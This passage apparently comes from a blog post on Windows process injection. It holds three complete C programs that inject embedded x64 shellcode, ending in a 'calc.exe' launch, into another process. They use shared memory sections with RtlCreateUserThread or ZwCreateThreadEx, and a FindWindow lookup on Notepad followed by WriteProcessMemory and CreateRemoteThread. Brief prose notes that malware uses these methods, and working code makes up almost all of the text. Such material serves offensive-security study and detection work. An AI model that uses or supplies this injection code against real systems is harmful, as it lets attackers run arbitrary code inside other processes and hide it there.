    IN ULONG          PageAttributess,
    IN ULONG          SectionAttributes,
    IN HANDLE         FileHandle OPTIONAL
); 

typedef NTSTATUS (NTAPI* NtMapViewOfSection_t) (
    HANDLE            SectionHandle,
    HANDLE            ProcessHandle,
    PVOID*            BaseAddress,
    ULONG_PTR         ZeroBits,
    SIZE_T            CommitSize,
    PLARGE_INTEGER    SectionOffset,
    PSIZE_T           ViewSize,
    DWORD             InheritDisposition,
    ULONG             AllocationType,
    ULONG             Win32Protect
);

typedef NTSTATUS(NTAPI* RtlCreateUserThread_t)(
     IN HANDLE        ProcessHandle,
     IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, 
     IN BOOLEAN       CreateSuspended,
     IN ULONG         StackZeroBits,
     IN OUT PULONG    StackReserved,
     IN OUT PULONG    StackCommit,
     IN PVOID         StartAddress,
     IN PVOID         StartParameter OPTIONAL,
     OUT PHANDLE      ThreadHandle,
     OUT PCLIENT_ID   ClientID
);

unsigned char Shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
    0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
    0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
    0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
    0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
    0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
    0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
    0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
    0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
    0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
    0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
    0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main(int argc, char * argv[])
{
    HMODULE                 hNtdll;
    
    NtCreateSection_t       NtCreateSection;
    NtMapViewOfSection_t    NtMapViewOfSection;
    RtlCreateUserThread_t   RtlCreateUserThread;
    
    HANDLE                  hProcess;
    HANDLE                  hThread;
    HANDLE                  hSectionHandle;

    DWORD                   dPid;

    PVOID                   pLocalSectionAddress;
    PVOID                   pRemoteSectionAddress;

    pLocalSectionAddress            =       NULL;
    pRemoteSectionAddress           =       NULL;
    
    hNtdll                          =       GetModuleHandle("ntdll");
    
    NtCreateSection                 =       (NtCreateSection_t)     GetProcAddress(hNtdll, "NtCreateSection");
    NtMapViewOfSection              =       (NtMapViewOfSection_t)  GetProcAddress(hNtdll, "NtMapViewOfSection");
    RtlCreateUserThread             =       (RtlCreateUserThread_t) GetProcAddress(hNtdll, "RtlCreateUserThread");

    if (NtCreateSection == NULL || NtMapViewOfSection == NULL || RtlCreateUserThread == NULL) {
        printf("Could not find the required functions.\n");
        return -1;
    }

    SIZE_T size = 4096;
    
    LARGE_INTEGER sectionSize = { size };

    dPid = atoi(argv[1]);

    if (dPid == 0)
    {
        return -1;
    }

    hProcess                        =       OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);

    if (hProcess == NULL)
    {
        printf("Could not open process.\n");
        return -1;
    }

    /*
     * 1. Create a RWX Memory Section inside the local Process.
     */

    NtCreateSection(&hSectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    if (hSectionHandle == NULL)
    {
        printf("Could not Create Section.\n");
        return -1;
    }

    /*
     * 2. Create a RW Memory View inside our local process and obtain its address.
     */

    NtMapViewOfSection(hSectionHandle, GetCurrentProcess(), &pLocalSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_READWRITE);

    if (pLocalSectionAddress == NULL)
    {
        printf("Could not Local View.\n");
        return -1;
    }
    else
    {
        printf("Local section created at: %p\n", pLocalSectionAddress);
        getchar();
    }

    /*
    * 3. Create a RX Memory View in the target process and obtain its address.
    */

    NtMapViewOfSection(hSectionHandle, hProcess, &pRemoteSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_EXECUTE_READ);


    if (pRemoteSectionAddress == NULL)
    {
        printf("Could not Remote View.\n");
        return -1;
    }
    else
    {
        printf("Remote section created at: %p\n", pRemoteSectionAddress);
        getchar();
    }

    /*
     * 5. Copy the shellcode to the section view mapped within the local process.
     *    
     * Since the same memory section is mapped within the local and remote processes, this will
     * make the shellcode available inside our target's Virtual Address space as well.   
     */

    RtlMoveMemory(pLocalSectionAddress, Shellcode, sizeof(Shellcode));

    /*
     * 6. Create a new thread inside the target process to execute the copied shellcode.
     */
     
    RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, pRemoteSectionAddress, NULL, &hThread, NULL);

	return 0;
}

ZW Create Section

Similar to the previous technique, undocumented Zw functions can be used to achieve the same results. With a few exceptions, each native system services routine has two slightly different versions that have similar names but different prefixes. For example, calls to NtCreateFile and ZwCreateFile perform similar operations, and are even served by the same kernel-mode system routine. For system calls from user mode, both versions of a routine behave identically. For calls from kernel mode, the two versions of a routine differ in how they handle the parameter values that the caller passes to the routine. Refer to MSDN for more information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#include <windows.h>
#include <stdio.h>
#include <winternl.h>

#pragma comment(lib, "ntdll")

// https://processhacker.sourceforge.io/doc/ntzwapi_8h.html#ab903b3fdc6eac749e8ae9c373a06325d

typedef NTSTATUS (NTAPI * ZwCreateSection_t) (
    PHANDLE                SectionHandle,
    ULONG                  DesiredAccess,
    POBJECT_ATTRIBUTES     ObjectAttributes,
    PLARGE_INTEGER         MaximumSize,
    ULONG                  PageAtributes,
    ULONG                  SectionAttributes,
    HANDLE                 FileHandle
);

typedef NTSTATUS (NTAPI * NtMapViewOfSection_t) (
    HANDLE                 SectionHandle,
    HANDLE                 ProcessHandle,
    PVOID    *             BaseAddress,
    ULONG_PTR              ZeroBits,
    SIZE_T                 CommitSize,
    PLARGE_INTEGER         SectionOffset,
    PSIZE_T                ViewSize,
    DWORD                  InheritDisposition,
    ULONG                  AllocationType,
    ULONG                  Win32Protect
);

// https://processhacker.sourceforge.io/doc/ntzwapi_8h.html#ab903b3fdc6eac749e8ae9c373a06325d

typedef NTSTATUS (NTAPI * ZwCreateThreadEx_t) (
    PHANDLE                ThreadHandle,
    ACCESS_MASK            DesiredAccess,
    POBJECT_ATTRIBUTES     ObjectAttributes,
    HANDLE                 ProcessHandle,
    PVOID                  StartRoutine,
    PVOID                  Argument,
    ULONG                  CreateFlags,
    ULONG_PTR              ZeroBits,
    SIZE_T                 StackSize,
    SIZE_T                 MaximumStackSize,
    PVOID                  AttributeList
);

// https://processhacker.sourceforge.io/doc/ntzwapi_8h.html#a9d03a63e7bf3f4c90c200fa181c6c437

typedef NTSTATUS (NTAPI * ZwUnmapViewOfSection_t) (
    HANDLE                ProcessHandle,
    PVOID                 BaseAddress
);

typedef NTSTATUS (NTAPI * ZwClose_t) (
    HANDLE                Handle
);

unsigned char Shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
    0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
    0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
    0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
    0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
    0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
    0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
    0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
    0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
    0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
    0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
    0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

const char * APPLICATION = "C:\\Windows\\System32\\Notepad.exe";

int main (int argc, char * argv[])
{
    HANDLE                        hNtdll;

    ZwCreateSection_t             ZwCreateSection;
    NtMapViewOfSection_t          NtMapViewOfSection;
    ZwUnmapViewOfSection_t        ZwUnmapViewOfSection;
    ZwClose_t                     ZwClose;
    ZwCreateThreadEx_t            ZwCreateThreadEx;

    HANDLE                        hProcess;
    HANDLE                        hThread;
    HANDLE                        hSectionHandle;


    SIZE_T                        Size                     = 4096;
    LARGE_INTEGER                 SectionSize              = { Size };

    PVOID                         pRemoteBuffer            = NULL;
    PVOID                         pLocalBuffer             = NULL;

    DWORD                         dPid                     = 0;

    dPid                     =    atoi(argv[1]);

    if (dPid == 0)
        return -1;

    hProcess                 =     OpenProcess (PROCESS_ALL_ACCESS, FALSE, dPid);

    if (hProcess == NULL)
    {
        printf("Could not open process.\n");
        return -1;
    }

    hNtdll = GetModuleHandle("ntdll");

    /*
     * 1. Find the addresses of the needed functions
     */

    ZwCreateSection         = (ZwCreateSection_t)         GetProcAddress(hNtdll, "ZwCreateSection");
    NtMapViewOfSection      = (NtMapViewOfSection_t)      GetProcAddress(hNtdll, "NtMapViewOfSection");
    ZwUnmapViewOfSection    = (ZwUnmapViewOfSection_t)    GetProcAddress(hNtdll, "ZwUnmapViewOfSection");
    ZwCreateThreadEx        = (ZwCreateThreadEx_t)        GetProcAddress(hNtdll, "ZwCreateThreadEx");
    ZwClose                 = (ZwClose_t)                 GetProcAddress(hNtdll, "ZwClose");

    /*
     * 1. Create a RWX Memory Section
     */

    ZwCreateSection(&hSectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &SectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    /*
     * 2. Map the previously created Memory Section as RW inside our local process and obtain its address.
     */

    NtMapViewOfSection (hSectionHandle, GetCurrentProcess(), &pLocalBuffer, 0, 0, NULL, &Size, 2, 0, PAGE_READWRITE);

    if (pLocalBuffer == NULL)
    {
        printf("Could not Local View.\n");
        return -1;
    }

    /*
     * 3. Map the previously created Memory Section as RX inside the remote process and obtain its address.
     */

    NtMapViewOfSection (hSectionHandle, hProcess, &pRemoteBuffer, 0, 0, NULL, &Size, 2, 0, PAGE_EXECUTE_READ);

    if (pRemoteBuffer == NULL)
    {
        printf("Could not Local View.\n");
        return -1;
    }

    /*
     * 4. Copy the shellcode to the section view mapped within the local process.
     *
     * Since the same memory section is mapped within the local and remote processes, this will
     * make the shellcode available inside our target's Virtual Address space as well.
     */

    RtlMoveMemory(pLocalBuffer, Shellcode, sizeof(Shellcode));

    /*
     * 5. Unmap the shared view from the current process and close the view handle.
     */

    ZwUnmapViewOfSection(GetCurrentProcess(), pLocalBuffer);
    ZwClose(hSectionHandle);

    /*
     * 6. Create a new thread inside the target process to execute the copied shellcode and close the thread handle.
     */

    ZwCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, pRemoteBuffer, NULL, 0, 0, 0, 0, 0);

    ZwClose(hThread);

    return 0;
}

Find Process Window

The FindWindow Windows API call can be used to obtain a handle to a window whose window name matches a specified string. The GetWindowThreadProcessId API call can then be used to retrieve the Process ID of the obtained handle. This technique can be used by Malware to find the PID of a specific Window and inject Code inside that process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char Shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
    0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
    0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
    0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
    0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
    0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
    0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
    0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
    0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
    0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
    0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
    0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main (int argc, char * argv[])
{
    HANDLE      hProcess;
    HANDLE      hThread;
    HANDLE      hWindow;

    PVOID       pShellcode;
    DWORD       dPid;

    /*
     * 1. Obtain a Handle to a Window with a specific Window Name
     */

    hWindow     =   FindWindow(NULL, (LPCSTR) "Untitled - Notepad");

    if (hWindow == NULL)
        return -1;

    /*
     * 2. Get the Process ID of the application.
     */

    GetWindowThreadProcessId(hWindow, &dPid);

    /*
     * 3. Open the Process and allocate a RWX Memory region within it's Virtual Address space.
     */

    hProcess    =   OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);

    pShellcode  =   VirtualAllocEx(hProcess, NULL, sizeof(Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    /*
     * 4. Copy the Shellcode inside the newly allocated memory region.
     */

    WriteProcessMemory (hProcess, pShellcode, Shellcode, sizeof(Shellcode), NULL);

    /*
     * 5. Create a Thread inside the remote process and execute the Shellcode.
     */

    hThread     =   CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pShellcode, NULL, 0, NULL);

    CloseHandle (hProcess);

    return 0;
}
This post is licensed under CC BY 4.0 by the author.